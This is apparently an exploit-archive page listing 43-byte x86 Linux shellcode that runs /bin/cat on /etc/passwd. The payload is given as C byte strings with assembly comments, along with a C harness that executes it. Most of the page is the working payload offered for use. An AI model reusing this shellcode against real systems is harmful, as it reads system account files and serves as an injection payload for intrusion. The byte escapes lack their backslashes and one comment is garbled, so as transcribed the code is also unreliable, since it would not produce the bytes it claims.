[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Linux bin/cat /etc/passwd 43 bytes
# Published : 2010-02-09
# Author : fb1h2s
# Previous Title : Linux x86 - /bin/sh 8 bytes
# Next Title : Win32 Shellcode (cmd.exe) for XP SP2 Turkish 26 Bytes


#include <stdio.h>

const char shellcode[]="x31xc0" // xorl %eax,%eax
"x99" // cdq
"x52" // push edx
"x68x2fx63x61x74" // push dword 0x7461632f
"x68x2fx62x69x6e" // push dword 0x6e69622f
"x89xe3" // mov ebx,esp
"x52" // push edx
"x68x73x73x77x64" // pu sh dword 0x64777373
"x68x2fx2fx70x61" // push dword 0x61702f2f
"x68x2fx65x74x63" // push dword 0x6374652f
"x89xe1" // mov ecx,esp
"xb0x0b" // mov $0xb,%al
"x52" // push edx
"x51" // push ecx
"x53" // push ebx
"x89xe1" // mov ecx,esp
"xcdx80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}


/*
shellcode[]="x31xc0x99x52x68x2fx63x61x74x68x2fx62x69x6ex89xe3x52x68x73x73x77x64" "x68x2fx2fx70x61x68x2fx65x74x63x89xe1xb0x0bx52x51x53x89xe1xcdx80";
*/